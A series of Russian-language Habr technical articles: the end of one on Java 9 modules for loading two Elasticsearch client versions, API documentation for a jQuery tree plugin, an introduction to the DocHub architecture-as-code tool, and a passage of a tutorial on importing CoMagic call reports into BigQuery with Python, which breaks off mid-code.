* Уберём зависимость `com.twitter:jsr166e` (там используется `sun.misc.Unsafe`, которого в 9-ке "нет") у модуля **core**:
и сменим импорты `com.twitter.jsr166e` на `java.util.concurrent.atomic`.
* Плагин `animal-sniffer-maven-plugin` задетектит изменение на предыдущем шаге (в 7-ке нет jsr166e), убираем:
Готово, теперь проделываем те же шаги по сборке и установке, что и для **es-v1**, с небольшими отличиями:
* поменять версию на 2.4.5,
* достаточно собрать только модуль **core**:
```
$ mvn clean package -pl org.elasticsearch:parent,org.elasticsearch:elasticsearch -DskipTests=true
```
### Модули в нашем проекте
После того, как мы выяснили, что используемые нами библиотеки способны работать в модульной системе Java, сделаем из наших Maven-модулей явные Java-модули. Для этого нам потребуется в каждой директории с исходниками (`src/main/java`) создать файлы `module-info.java` и в них описать взаимоотношения между модулями.
Модуль **core** не зависит ни от каких других модулей, а только содержит интерфейс, который должны реализовать другие модули, поэтому описание будет выглядеть так:
```
// имя модуля - elasticsearch.client.core
module elasticsearch.client.core {
// очевидно, нужно открыть пакет с интерфейсом,
// чтобы он был доступен для модулей
exports elasticsearch.client.spi;
// и этим модулям скажем, что мы используем интерфейс SearchClient
// для динамической загрузки ServiceLoader'ом
uses elasticsearch.client.spi.SearchClient;
}
```
Для модулей **es-v1** и **es-v2** будет похожее описание:
* они используют модуль `elasticsearch.client.core`, т.к. в нём находится интерфейс,
* каждый использует автоматический модуль Elasticsearch требуемой версии,
* и каждый модуль говорит, что он предоставляет реализацию для интерфейса `SearchClient`.
Итого имеем для **es-v1**:
```
// имя модуля - elasticsearch.client.v1
module elasticsearch.client.v1 {
// в core лежит SearchClient
requires elasticsearch.client.core;
// этот автоматический
requires elasticsearch.shaded;
// говорим модулю core, что у нас есть реализация его интерфейса
provides elasticsearch.client.spi.SearchClient with elasticsearch.client.v1.SearchClientImpl;
}
```
Для **es-v2** почти всё тоже самое, только в именах должна фигурировать версия `v2`.
Теперь как загрузить такие модули? Ответ на этот вопрос есть в описании класса [ModuleLayer](http://download.java.net/java/jdk9/docs/api/java/lang/ModuleLayer.html), который содержит небольшой пример загрузки модуля с ФС. Предположив, что модули **es-v\*** находятся каждый всё в тех же директориях `modules/es-v*/`, можно написать примерно такую реализацию:
```
private static SearchClient getClient(String desiredVersion) throws Exception {
Path modPath = Paths.get("modules", "es-v" + desiredVersion);
ModuleFinder moduleFinder = ModuleFinder.of(modPath);
ModuleLayer parent = ModuleLayer.boot();
Configuration config = parent.configuration().resolve(moduleFinder, ModuleFinder.of(), Set.of("elasticsearch.client.v" + desiredVersion));
ModuleLayer moduleLayer = parent.defineModulesWithOneLoader(config, Thread.currentThread().getContextClassLoader());
ServiceLoader serviceLoader = ServiceLoader.load(moduleLayer, SearchClient.class);
Optional searchClient = serviceLoader.findFirst();
if (searchClient.isPresent()) {
return searchClient.get();
}
throw new Exception("Module 'elasticsearch.client.v" + desiredVersion + "' not found on " + modPath);
}
```
[ModuleLayer#defineModulesWithManyLoaders](http://download.java.net/java/jdk9/docs/api/java/lang/ModuleLayer.html#defineModulesWithOneLoader-java.lang.module.Configuration-java.lang.ClassLoader-) нам здесь не подойдёт, так как у нас получатся совсем изолированные модули и наши **es-v\*** не смогут увидеть свои зависимости.
Итак, теперь нужно собрать все модули. Для компиляции потребуется плагин `maven-compiler-plugin` поновее, на данный момент последняя версия — 3.7.0:
```
org.apache.maven.plugins
maven-compiler-plugin
3.7.0
```
Укажем Java 9 для исходников:
```
1.9
1.9
```
И не забываем про `maven-dependency-plugin`, поэтому пересоберём модули:
```
$ mvn clean package
```
Теперь можно запустить, и видим такой же вывод:
```
сент. 29, 2017 10:59:01 ДП org.elasticsearch.plugins.PluginsService
INFO: [es1] loaded [], sites []
сент. 29, 2017 10:59:04 ДП org.elasticsearch.plugins.PluginsService
INFO: [es2] modules [], plugins [], sites []
Client for version: 1.7.5
Found doc:
{field=test 1}
Client for version: 2.4.5
Found doc:
{field=test 2}
```
Может показаться, что решение с загрузчиком классов — проще, но решение из коробки просто глупо игнорировать, если только вы не собираетесь остаться на Java 8 или более ранней.
Конец
-----
Загрузка библиотеки разных версий выливается в механизм, очень напоминающий систему плагинов/модулей. Для этого можно:
* построить свой велосипед с ClassLoader — может подойти там, где сильно ~~хочется проблем~~ не хочется тащить библиотеки и разбивать на модули (можно извернуться и сделать всё в одном),
* использовать ServiceLoader API — если не мешают META-INF/services,
* использовать готовые сторонние библиотеки, которые мы не рассматривали ([например](https://github.com/decebals/pf4j)) — всё удобство готового и протестированного кода ~~и подросшего бандла~~
* использовать мощную систему модулей Java 9 — если переход позволителен или вообще проект начинается с чистого листа.
P.S. Желаю всем джавистам удачного перехода на Java 9! | https://habr.com/ru/post/339026/ | null | ru | null |
# Custom Tree v2 jQuery plugin
На днях решил вернуться к перепиливанию одного своего старенького Open Source проекта.
В процессе обдумывания решил, что предыдущий [компонент с деревом](http://habrahabr.ru/post/142603/) в его нынешнем виде меня больше не устраивает.
Хотелось чего-нибудь более Event Driven, с понятным и простым API.
Сейчас решил, что оно уже готово для Public.
[Берите, пользуйтесь](https://github.com/wentout/CustomTree2).
Или посмотрите на [example в рамках GH-pages](http://wentout.github.io/CustomTree2/).
Под катом краткий перевод краткой документации по API.
**UPD**: в комментариях мой код для организации **перетаскивания**.
Исполнено оно в виде jQuery плагина.
**Пример конфига, т.е. того, что передаётся когда вы «создаёте» дерево:**
```
$('#tree_content').customTree({
root : 'top',
init : {
callback : function (controller, tree) {
info('Init callback.');
}
},
// for leaf callbacks
handlers : {
added : function (leaf, controller, tree) {
},
loaded : function (leaf, controller, tree) {
},
parsed : function (leaf, controller, tree) {
},
open : function (leaf, controller, tree) {
},
close : function (leaf, controller, tree) {
},
hover : function (leaf, controller, tree) {
},
unhover : function (leaf, controller, tree) {
},
focus : function (leaf, controller, tree) {
},
beforeblur : function (callback, leaf, controller, tree) {
},
blur : function (leaf, controller, tree) {
},
deleted : function (leaf, controller, tree) {
},
dblclick : function (leaf, controller, tree) {
}
},
listeners : {
// click, dblclick, contextmenu up the element Label
contextmenu : function (leaf, controller, tree, event) {
},
dblclick : function (leaf, controller, tree, event) {
}
},
storeLoaded : false,
focusParentOnClose : true,
// focusByDblClick: true,
// blurFromContainerClick : false,
// blurFromContainerDblClick : false,
labelsBreak : {
by : 50,
expandOnHover : false,
expandOnSelect : true
},
loader : function (path, callback) {
// ... your code for nodes loading
}
});
```
В рамках кода используется строгое соглашение по параметрам ноды, приходящей на Parsing\Rendering, поэтому привожу **пример единичной ноды (leaf):**
```
{
// – должно быть уникальным в рамках текущего узла,
'unique_naming_string' : {
// – опционально, используется для представления,
text : 'string',
// – опционально, указывает на то, является ли данный leaf папкой,
folder : [true || false],
// – опционально, указывает на то, нужно ли "открыть" папку
open : [true || false]
// любые другие свойства могут быть дополнительно переданы, вы сможете их использвать
}
}
```
**Объяснения {**
* **root** – имя для root пути узла
* **init** – опции начальной загрузки
```
// то, что будет использовано для загрузки root
init : {
// отсрочка в миллисекундах или null
delay : null,
// имя класса установленное на root во время первоначальной загрузки
// если не будет установлено, то preloader не будет индицирован
preloader : 'preloader',
// function (controller, tree) будет вызван после загрузки
callback : null,
// jQuery метод, который будет использован для "показа" root
method : 'fadeIn',
// если true (default), то загрузка произойдёт сразу после delay
auto : true,
// путь узла, который нужно focus после загрузки
focus : null
}
```
**handlers ( leaf, controller, tree )** – предустановленные обработчики событий.
Все принимают текущий узел, контроллер и объект дерева.
Но **beforeblur** принимает ещё и callback как первый параметр.
Если Вам, допустим, нужно проверять, можно ли blur текущий узел.
Если «да», тогда этот callback нужно вызвать.
Иначе просто не вызывайте его, тогда blur не произойдёт.
Если blur должен был быть произведён, потому, что нужно было сделать focus для другого узла, то если не вызвать этот callback, ни blur текущего ни focus нужного произведён не будет.
Естественно, эти манипуляции с callback для beforeblur будут возможны только если вы вообще передадите в конфиг handler.beforeblur.
**loader ( path, callback )** – то, к чему контроллер будет обращаться для загрузки leaf.
Принимает **['tree.root', 'leaf.name']** в качестве path.
Должен вернуть JS Object!
**listeners** – стандартыне jQuery .on( callbacks для текстового элемента узла.
Т.е., если, допустим, нужно contextmenu или кастомный click, то нужно использовать listeners.
**theme** – CSS PREFIX\_ для классов при рендере
**cls** – набор CSS классов при рендере:
```
cls : {
// для root
root : 'tree_root',
// для места, где плюс и минус
control : 'tree_control',
// для места, где текущий статус, например "загружается"
status : 'tree_leaf_status',
// для текстового поля
text : 'tree_leaf_text',
// для "папок"
folder : 'folder',
// для выделенного по focus()
selected : 'selected',
// когда мышка над текстом
hover : 'hover',
// когда загружается текущий узел
loader : 'loader',
// когда папка открыта
open : 'open',
// для всего контейнера
container : 'container',
// когда не нужно позволять выделение текста
supressLabelTextSelection : 'unselectable',
supressTreeTextSelection : 'unselectable'
}
```
**html** – HTML тэги для рендера:
```
html : {
// root container
tree : '',
// leaf container
leaf : '* ',
// то, где будут children узла
children : '
',
// где хранится текст и контролы +\- status
heading : '',
// то где +\-
control : '',
// то, где статус
status : '',
// то, где текст
text : '',
// сам контейнер
container : ''
}
```
**control** – строки, использованные для +\-:
```
control : {
close : '+',
open : '–'
},
```
**storeLoaded: true || false** – сохранять «свёрнутые» узлы, или перезагружать каждый раз
**focusParentOnClose: true || false** – выделить родительский элемент, если его потомок имел focus
**focusByDblClick: true || false** – выделять по двойному щелчку
**blurFromContainerClick: true || false** – blur когда щелкают root
**blurFromContainerDblClick: true || false** – blur когда дважды щелкают root
**labelsBreak:** – текстовые caption узла могут быть длинными, опции для «обрезки» если нужны:
```
labelsBreak : {
// на какое количество символов делать перенос строк
by : 0,
// чем переносить
str : '\n',
// всегда полностью отображать все строки
expandAlways : false,
// отображать все, когда hover
expandOnHover : false,
// отображать все, когда focused
expandOnSelect : true
}
```
### Controller API
* **getPath ( leaf )** – возвращает URL ARRAY для Leaf Object: [ 'top', 'leaf\_name', 'child\_name'… ]
* **refresh ( leaf, callback, andOpen )** – перезагружает переданный 'leaf',
'callback' используется по завершении,
pass 'andOpen' если нужно развернуть свёрнутый узел
* **blur ( leaf )** – делаем blur узлу
* **focus ( leaf )** – делаем focus узлу
* **x** – текущий конфиг
* **x.current** – текущий выделенный узел
* **init** – если config.init.auto == false, здесь будет функция вызова init дерева
Надеюсь, что кому-нибудь это всё пригодится. | https://habr.com/ru/post/188778/ | null | ru | null |
# Архитектура как кот VS Архитектура как кол
Предпосылки
-----------
Ограничения бывают разные. Например, компания со своими процессами. Вы генерируете идею, и она тонет в бюрократии. Идея рассматривается долгими днями, неделями, месяцами…
К счастью, это ограничение можно снять:
* Можно сменить среду. Уйти туда, где вы можете реализоваться;
* Затеять свой интересный проект и пилить его запоями по ночам.
Есть еще путь - изменить саму среду. Но что-то мне подсказывает, что это путь “в один конец”. Проходя его, идеи и цели трансформируются.
Но есть и более глобальные ограничения. Можно сказать - фундаментальные. К таким ограничениям я отношу память, опыт, знания и время. Рамки некоторых ограничений можно раздвигать. Обучаясь, тренируясь, накапливая опыт. Но они будут оставаться с тобой всегда. А вот время...
Работа архитектором в Работа.ру я, непосредственно, проектирую две крупные системы. Также я выполняю роль корпоративного архитектора. Как вы думаете, меня хватает на все? Конечно нет.
У нас много команд. Они каждый день что-то пилят. Что-то катят. Описать происходящие можно вариацией известного анекдота: пока архитектор изучает наш ИТ ландшафт, мы его меняем.
Если задуматься, больше сотни людей, каждый день прокачивают свои навыки. Накапливают опыт. Пытаются затащить новые технологии. И если я буду пытаться все это возглавить, я автоматически стану “узким местом” для развития компании.
Больше архитекторов? Решение интересное, но бесперспективное. Дело в том, что нарушается [Agile Manifesto](https://ru.wikipedia.org/wiki/Agile_Manifesto). Команда теряет автономность. Возникают ограничения ее эффективности.
Пожалуй, идеальным решением может быть внедрение в каждую команду по одному архитектору. Но что он там будет делать 8 часов 5 дней в неделю? Для команды выделенная роль архитектора в подавляющем большинстве случаев избыточна. И архитектора обязательно чем-то донагрузят.
Но, стоп! Ведь команды прямо сейчас что-то пилят. Т.е. прямо сейчас они реализуют архитектурные решения. Получается, незримый архитектор есть в каждой команде. Он может концентрироваться в лиде или быть размазанным по всей команде. Он может быть плохим или хорошим. Но главное - он есть.
И мы задумались… а можно ли как-то использовать интеллектуальный потенциал команд консолидированно? Создать не просто успешные команды, а развить положительную синергию их деятельности. Первым шагом для нас стала версия [DocHub](https://habr.com/ru/company/rabota/blog/561836/), пропагандирующая принцип contract-first.
Настроив процессы развития контрактов через GitFlow, мы заметно расширили свои возможности. Теперь, каждая команда, не ожидая архитектора, может развивать контракты. При этом управляемость не ухудшилась, а улучшилась. Я стал выполнять роль ревьювера контрактов. Архитектора стало “больше”.
Вдохновленные этой историей, мы пошли дальше. DocHub позволил решить ряд проблем. Но далеко не все. Осталась главная проблема - целевое развитие архитектуры. Т.е. достижение командами состояния, отраженного в архитектуре - как будет.
Была проделана работа по анализу существующих инструментов, которые могли бы подойти нам. Ключевой идеей сразу стало развитии архитектуры через код. На горизонте забрезжил [PlantUML.](https://plantuml.com/)
Но есть проблема. Каждый раз, когда мы рассматриваем язык описания архитектуры, мы тут же упираемся в необходимость его знать. И, автоматически, поднимаем требования к нашим разработчикам. В воображении рисуется Уроборос (змея, кусающая себя за хвост).
Как известно, проблемы не приходят поодиночке. Допустим, мы заставим разработчиков выучить PlantUML. И даже заставим их вносить изменения в файлы, описывающие архитектуру. Но как это все собирать в кучу со всех команд? Как рендерить? В конфлюенсе?
И вот, наш бедный разработчик теперь должен писать что-то на PlantUML, в конфлюенсе. Пришли к тому, что было. Даже хуже. Нарастили ограничения.
Думаю, интригу я нагнал достаточно. Пора познакомить вас с новым DocHub. Теперь это инструмент управления архитектурой через код. Он должен значительно снизить наши ограничения. Позволить командам видеть весь актуальный ландшафт. А это, в свою очередь, приведет к той заветной положительной синергии.
Управление версиями архитектуры
-------------------------------
В развивающихся проектах архитектура мутабельна. Стандартной ситуацией является одновременная проработка нескольких архитектурных решений, которые должны стать единым целым. Особенно явно эта проблема выражается при наличии нескольких автономных команд, создающих единую систему.
Для монокомандых систем проблема остается актуальной. Внезапное изменение приоритетов и требований приводит к накоплению противоречивых архитектурных решений. Формируется технический долг.
Аналогичные проблемы свойственны кодовой базе систем. В процессе параллельной разработки фич, разработчики сталкиваются с задачей объединения результата в релизы. Решается она через инкрементальное развитие кода. Популярным инструментом является git.
Если внезапно забыл как работать с гитом.Практикуются различные методологии управления кодом. Из популярных можно выделить [GitFlow](https://www.atlassian.com/en/git/tutorials/comparing-workflows/gitflow-workflow) и [GitHub flow](https://docs.github.com/en/get-started/quickstart/github-flow).
Идея заключается в том, что разработчик при создании новой фичи клонирует ветку (branch) общей кодовой базы в отдельную. В ней он ведет разработку. По завершению работы создается Pull request / Merge request. Это специальный, формализованный запрос в рамках системы управления версиями на объединение веток. Он оценивается (Code review) другими разработчиками. В случае положительного решения, изменения внедряются в общий код.
Решать запросы на объединение помогают инструменты сравнения, встроенные в системы управления версиями. Они наглядно отражают изменения в коде. Выявляют конфликты. Позволяют их устранять.
В отличие от процесса разработки, где все построено на коде, архитектура требует создания графических артефактов. Для этого используются визуальные редакторы. Объединение версий диаграмм является проблемой. Тратятся значительные ресурсы на механическую деятельность. А если вы ещё и дома, на диване, на ноутбуке с тачпадом, без мышки… Впрочем, что-то я отвлекся.
DocHub предлагает отказаться от использования визуальных редакторов в пользу описания архитектуры кодом. Использовать принципы управления архитектурой аналогично принципам управления кодовой базой. Для этого предоставляются четыре языка описания архитектуры:
* [PlantUML](https://plantuml.com/) - позволяет создавать диаграммы из обычного текстового языка;
* [Markdown](https://ru.wikipedia.org/wiki/Markdown) - язык разметки, созданный с целью обозначения форматирования в тексте;
* [Swagger](https://swagger.io/) - язык описания интерфейсов для описания RESTful API;
* [Манифесты](https://dochub.info/docs/dochub_introduction) - структурированные файлы в формате YAML/JSON для описания архитектурных объектов.
Таким образом, процесс развития архитектуры становится максимально близким к разработке систем. Это дает возможность, помимо решения основной проблемы (управление версиями), получить дополнительные преимущества:
* Унифицировать процессы развития архитектуры и разработки;
* Архитектурные артефакты могут быть размещены непосредственно в репозитории кодовой базы и развиваться одновременно с кодовой базой системы;
* Возникает возможность управления архитектурными идеями через Pull request;
* Создается база для взаимного проникновения экспертиз разработки и проектирования.
Одному из главных преимуществ мне хотелось бы посвятить отдельный раздел.
Управление децентрализованной архитектурой
------------------------------------------
Под “децентрализованной” понимается сложная, многокомпонентная архитектура системы, части которой распределены по командам разработки. Каждая команда развивает свой сегмент параллельно и независимо, но должна учитывать общую концепцию. Ярким примером является микросервисная архитектура.
На первый план здесь выходит синхронизация решений команд, влияющих на общий архитектурный ландшафт. Остро стоит вопрос управления технологическим стеком и переиспользования имеющихся в компании наработок.
Управление “архитектурой как код”, позволяет применить опыт Open Source сообществ. В этом случае существует центральный репозиторий с концептуальной архитектурой (как будет). Все имеют доступ к нему, получая необходимые сведения о планах развития. Изменения в репозиторий попадают через Pull requests. Ревьюверами являются техлидеры команд.
Таким образом достигается информирование об архитектурных решениях. Возникает консенсус. Происходит обмен опытом.
Описание архитектуры “как есть” остается в командах. Т.е., несмотря на то, что имеется централизованный репозиторий "как будет", у команд остается право на автономное принятие быстрых решений. Этот подход реализует [Agile манифест](https://wikipedia.org/wiki/Agile_Manifesto). Если необходимо срочно внести обоснованные изменения в продукт, должна быть возможность это сделать. Такая ситуация считается инцидентом.
Противоречие с центральным репозиторием устраняется путем сверки “как есть” с “как будет”. Отклонения обосновываются и, с отставанием, вносятся. Таким образом, инцидентные решения остаются в поле управления.
Управление архитектурой холдинга (экосистем)
--------------------------------------------
Под холдингом понимается группа компаний, развивающих цифровые продукты, имеющие потребность в интеграции с выраженным центром стратегического управления.
Холдинги имеют проблемы координации развития архитектуры экосистемы. Контроль достижения стратегических целей является ключевым для них.
Компании холдинга имеют разную степень автономности. Часто находятся на различных этапах развития. Это выражается в неоднородности процессов управления.
Таким образом, управление архитектурой экосистемы является нетривиальной задачей. DocHub предлагает и тут использовать принципы развития кодовой базы Open Source сообществами.
Центр в этом случае выступает майнтейнером (Maintainer) архитектурного кода. Он является владельцем центрального репозитория архитектуры. Устанавливает стандарты работы с ним.
Компании выступают в роли контрибьюторов (Contributors). У них есть собственный форк или ветка в центральном репозитории. Развитие архитектуры экосистемы ведется через Pull requests.
DocHub используется как универсальное средство представления артефактов экосистемы.
Архитектурные фасады
--------------------
Под архитектурным фасадом понимается публичная часть архитектуры. Распространенным примером являются API-контракты сервиса.
Фасады могут иметь различную степень детализации и состав. В некоторых случаях для клиента достаточно только публикации контрактов. Но зачастую, у него возникает ряд вопросов по сценариям использования. Также может оказаться полезным отразить верхнеуровневую архитектуру внешних сервисов. Для решения этой задачи необходим комплект публичных артефактов.
DocHub с этой задачей хорошо справляется. Он может быть развернут в качестве архитектурного фасада. Внешние пользователи получают удобный интерфейс для изучения публичной архитектуры.
Посмотреть, потрогать
---------------------
В отличии от первой версии DocHub, эта версия публикуется в альфе. Это обусловлено тем, что мы хотим получить как внутренние, так и внешние мнения об инструменте. Учесть их.
В настоящее время в нашей компании идет пилотное внедрение инструмента. О его результатах выйдет отдельная статья.
Живое демо можно посмотреть тут <https://dochub.info/>. Это развернутый DocHub, описывающий архитектуру самого себя.
Вы можете развернуть DocHub у себя. Но учтите, что он интенсивно допиливается. Ветка концепта - <https://github.com/RabotaRu/DocHub/tree/archops-conception-v2> (readme устарело и будет обновлено. Честно-честно). Развертывание такое:
```
git clone https://github.com/RabotaRu/DocHub.git
cd DocHub
git checkout archops-conception-v2
npm install
npm run serve
```
DocHub будет доступен по адресу: http://localhost:8080/
Планы
-----
Мы надеемся привлечь комьюнити к развитию инструмента. Просим открыто выражать свои мнения о нем. Предлагаем генерировать идеи.
Ближайшие цели: внедрение инструмента и подведение итогов.
Ближайшие фичи:
* Доработка механизма контроля консистентности архитектуры;
* Сравнение версий;
* Пользовательские запросы к манифестам на языке JSONata. | https://habr.com/ru/post/578340/ | null | ru | null |
# Импорт отчета по звонкам из CoMagic в BigQuery по расписанию с помощью Google Cloud Functions
Для чего
--------
При сложной структуре рекламных кампаний и большого количества звонков становятся необходимы дополнительные инструменты хранения, обработки и анализа информации о поступающих обращениях. Часто нужен быстрый доступ к данным за большой период времени. Иногда необходима сложная обработка данных, соотнесение звонков к определенному каналу или кампании.
Одним из вариантов ускорения работы, который также дает дополнительные преимущества является импорт звонков из CoMagic в Google BigQuery. О преимуществах BigQuery пишут много, так что перейдем непосредственно к созданию.
Для создания автоматического импорта понадобится:
1. Google аккаунт (если его еще нет) с созданным проектом
2. Знание Python
3. Знакомство с документацией Google Cloud
Как создать проект описано [тут](https://cloud.google.com/resource-manager/docs/creating-managing-projects). После того как проект создан необходимо создать набор данных в BigQuery. [Документация BQ](https://cloud.google.com/bigquery/) и [инструкция по созданию набора данных](https://cloud.google.com/bigquery/docs/datasets).
Извлекаем данные из CoMagic
---------------------------
Обращаемся к [документации](https://www.comagic.ru/support/api/data-api) CoMagic. Чтобы получить список обращений или звонков нам нужен раздел отчеты.
Создаем простой класс для работы с API CoMagic. Все необходимые requirements будут указаны в конце в ссылке на GitHub.
```
import json
import requests
import random
import pandas as pd
class ComagicClient:
"""Базовый класс для работы с CoMagic"""
def __init__(self, login, password):
"""Конструктор принимает логин и пароль CoMagic"""
self.login = login
self.password = password
self.base_url = 'https://dataapi.comagic.ru/v2.0'
self.payload_ = {"jsonrpc":"2.0",
"id":1,
"method":None,
"params": None}
self.token = self.get_token(self.login, self.password)
def base_request(self, method, params):
"""Основной метод для запросов в CoMagic. В качестве параметра принимает метод API
и параметры запроса. Возвращает ответ в JSON-like формате.
Подбробнее: https://www.comagic.ru/support/api/data-api/"""
id_ = random.randrange(10**7) #случайный идентификатор
payload = self.payload_.copy()
payload["method"] = method
payload["params"] = params
payload["id"] = id_
self.r = requests.post(self.base_url, data=json.dumps(payload))
self.last_response = json.loads(self.r.text)
return self.last_response
def get_token(self, login, password):
"""Метод для получения токена. В качестве параметров принимает
логин и пароль. Возвращает токен."""
method = "login.user"
params = {"login":self.login,
"password":self.password}
response = self.base_request(method, params)
token = response['result']['data']['access_token']
return token
def get_report_per_page(self, method, params):
"""Реализация постраничного вывода. Отправляет запрос и получает
по 10000 записей. Есть ограничение на вывод.
Не может получить более 110000 записей.
Возвращает ответ от в JSON-like формате."""
response = self.base_request(method, params)
print(f"""Запрос звонков c {params["date_from"]} до {params["date_till"]}. Сдвиг = {params["offset"]}""")
result = response['result']['data']
if len(result) < 10000:
return result
else:
params['offset'] += 10000
add_result = self.get_report_per_page(method, params)
return result + add_result
def get_basic_report(self, method, fields, date_from, date_till, filter=None, offset=0):
"""Метод для получения отчетов.
Вид отчета и поля определяются параметрами method и fields.
Возвращает список словарей с записями по звонкам.
В качестве параметров принимает время начала периода,
время конца периода, параметры звонка и сдвиг для постраничного вывода.
method -- метод отчета
date\_from -- дата старта. Формат "YYYY-MM-DD hh:mm:ss"
date\_till -- дата окончания. Формат "YYYY-MM-DD hh:mm:ss"
fields -- , представление возвращаемых данных
filter [ОПЦИОНАЛЬНО] - фильтр
offset [ОПЦИОНАЛЬНО] -- сдвиг
return -- отчет
"""
params = {"access\_token":self.token,
"limit":10000,
"date\_from":date\_from,
"date\_till":date\_till,
"fields": fields,
"offset": offset}
if filter:
params['filter'] = filter
report = self.get\_report\_per\_page(method, params)
return report
```
Теперь нужно определить какие именно данные нужны. Данные нужно обработать и привести к виду, чтобы можно было загрузить в BigQuery.
Создадим вспомогательный класс и определим получаемые из CoMagic данные.
```
class ComagicHandler(ComagicClient):
"""Класса для работы с данными, получаемыми от CoMagic"""
time_partition_field = 'PARTITION_DATE'
def __init__(self, login, password, first_call_date):
self.day_before_first_call = pd.to_datetime(first_call_date) - pd.Timedelta(days=1)
super().__init__(login, password)
def get_calls_report(self, date_from, date_till):
"""Получение отчета по звонкам с дополнтиельными параметрами за период.
В качестве параметров принимает дату начала отчета и дату завершения
отчета.
Преобразовывает данные в Pandas DataFrame.
Создает колонку для партицирования по дням. Название колонки получает из
класса Connector или берет по умолчанию.
Преобразовывает колонку с тегами. Оставляет только название тегов.
Возвращает Pnadas.DataFrame"""
method = "get.calls_report"
fields = ['id', 'visitor_id', 'person_id',
'start_time', 'finish_reason', 'is_lost', 'tags',
'campaign_name','communication_number', 'contact_phone_number',
'talk_duration', 'clean_talk_duration', 'virtual_phone_number',
'ua_client_id', 'ym_client_id', 'entrance_page',
'gclid', 'yclid', 'visitor_type', 'visits_count',
'visitor_first_campaign_name', 'visitor_device',
'site_domain_name','utm_source', 'utm_medium', 'utm_campaign',
'utm_content', 'eq_utm_source', 'eq_utm_medium',
'eq_utm_campaign', 'attributes']
#Получение данных из CoMagic
calls_data = self.get_basic_report(method, fields, date_from, date_till)
#Создание DataFrame
df = pd.DataFrame(calls_data)
#Создание поля с датой звонка. Поле используется для партицирования.
df[self.time_partition_field] = pd.to_datetime(df.start_time).apply(lambda x: x.date())
#Преобразование поле tags, так как BigQuery не может работать с таким типом данных, который
#отдает CoMagic. Оставляем только название тэгов.
df['tags'] = df.tags.apply(lambda x: x if x == None else [i['tag_name'] for i in x])
return df
```
Отправляем данные в BigQuery
----------------------------
После того, как данные из CoMagic получены и преобразованы, нужно их отправить в BigQuery.
```
from google.cloud import bigquery
from google.cloud.exceptions import NotFound
import pandas as pd
class BQTableHanler:
"""Класс для работы с таблицей BigQuery"""
time_partition_field = 'PARTITION_DATE'
def __init__(self, full_table_id, service_account_file_key_path = None):
"""Конструтор принимает полное название таблицы в формате
`myproject.mydataset.mytable`.
Для аутентификации, если нет Application Default Credentials,
в качестве дополнительного параметра может принимать путь к файлу
сервисного аккаунта."""
self.full_table_id = full_table_id
project_id, dataset_id, table_id = full_table_id.split(".")
self.project_id = project_id
self.dataset_id = dataset_id
self.table_id = table_id
if service_account_file_key_path: #если указан путь к сервисному аккаунту
from google.oauth2 import service_account
self.credentials = service_account.Credentials.from_service_account_file(
service_account_file_key_path,
scopes=["https://www.googleapis.com/auth/cloud-platform"],)
self.bq_client = bigquery.Client(credentials = self.credentials,
project = self.project_id)
else:
self.bq_client = bigquery.Client()
self.dataset = self.bq_client.get_dataset(self.dataset_id)
self.location = self.dataset.location
self.table_ref = self.dataset.table(self.table_id)
def get_last_update(self):
"""Получает дату последнего звонка из таблицы в формате
Pandas datetime. Если таблицы не существует возвращает False."""
try:
self.bq_client.get_table(self.full_table_id)
except NotFound as error:
return False
query = f"""SELECT MAX({self.time_partition_field}) as last_call
FROM `{self.full_table_id}`"""
result = self.bq_client.query(query,location=self.location).to_dataframe()
date = pd.to_datetime(result.iloc[0,0]).date()
return date
def insert_dataframe(self, dataframe):
"""Метод для передачи данных в таблицу BigQuery.
В качестве параметров принимает Pandas DataFrame.
Если таблицы не существет, то клиент создаст таблицу и добавит данные."""
job_config = bigquery.LoadJobConfig() #Определяем секционирование на уровне дней
job_config._properties['load']['timePartitioning'] = {'type': 'DAY',
'field': self.time_partition_field}
result = self.bq_client.load_table_from_dataframe(dataframe,
self.table_ref, job_config=job_config).result()
return result
```
Определяем логику обновления данных
-----------------------------------
Так как есть ограничение на количество получаемых строк данных от CoMagic необходимо ограничить количество запрашиваемых данных. Будем ограничивать период запроса. Для этого понадобится вспомогательная функция, которая будет дробить большой период времени на отрезки установленной длины.
```
def interval_split(array, interval):
"""Функция разбивает список на интервалы заданной длины.
Возвращает список списков, при чем длина подсписка равна 2,
где первое значение - первый элемент интервала,
а второй элемент подсписка - это последний элемент интервала.
Пример:
get_intervals([1,2,3,4,5,6,7], 3) => [[1,3], [4,6], [7]]
get_intervals([1,2,3], 4) => [[1,3]]"""
intervals = []
iw, i = 0, 0
l = len(array)
for v in array:
if i==0 or (i)%interval==0:
intervals.append([v])
if (i+1)%interval == 0 or (i+1) == l:
intervals[iw].append(v)
iw+=1
i+=1
return intervals
```
Это необходимо при первой загрузке данных, когда нужно загрузить данные за большой период времени. Период дробится на несколько мелких периодов. Делать это, кстати, лучше не используя Cloud Function, так как у них есть ограничение на время исполнения. Ну, или, как вариант, можно много-много раз запускать функцию.
Создаем класс коннектор, для связи таблицы BigQuery, куда мы хотим складывать данные, и данных из CoMagic.
```
from helpfunctions import interval_split
import pandas as pd
class Connector:
"""Соединяет источник данных и место назначения данных"""
time_partition_field = 'PARTITION_DATE' #название поля по-умолчанию. Переопределяет название поля в других классах
def __init__ (self, source, dest):
"""Конструктор принимает на вход класс источник
и класс пункта назначения данных"""
self.source = source
self.dest = dest
self.source.time_partition_field = self.time_partition_field
self.dest.time_partition_field = self.time_partition_field
def insert_data_in_dest(self, start_date, end_date):
"""Добавляет данные из источника в место назначения.
В качестве параметров принимает дату старта и дату окончания
отчеа, которые нужно взять из источника."""
dates = pd.date_range(start_date, end_date)
week_intervals = interval_split(dates, 7) #разбиваем данные на периоды по 7 дней
for week_interval in week_intervals:
date_from = week_interval[0].strftime("%Y-%m-%d") + " 00:00:00"
date_till = week_interval[1].strftime("%Y-%m-%d") + " 23:59:59"
calls_df = self.source.get_calls_report(date_from, date_till)
self.dest.insert_dataframe(calls_df)
print (f"Данные с {date_from} по {date_till} добавлены в таблицу")
return True
def update_dest_data(self):
#Получение последней даты звонка из BigQuery
last_date = self.dest.get_last_update()
if not last_date: #Если таблицы не существует
last_date = self.source.day_before_first_call
yesterday = pd.Timestamp.today(tz='Europe/Moscow').date() - pd.Timedelta(days=1)
if last_date == yesterday:
print("Данные уже обновлены")
else:
last_date = last_date + pd.Timedelta(days=1)
self.insert_data_in_dest(last_date, yesterday)
return True
```
Далее прописываем главную функцию для обновления данных, которая будет запускаться по расписанию.
```
from connector import Connector
from bqhandler import BQTableHanler
from comagichandler import ComagicHandler
from credfile import *
def main(event, context):
"""Функция принимает на вход event, context
Подбробнее тут:
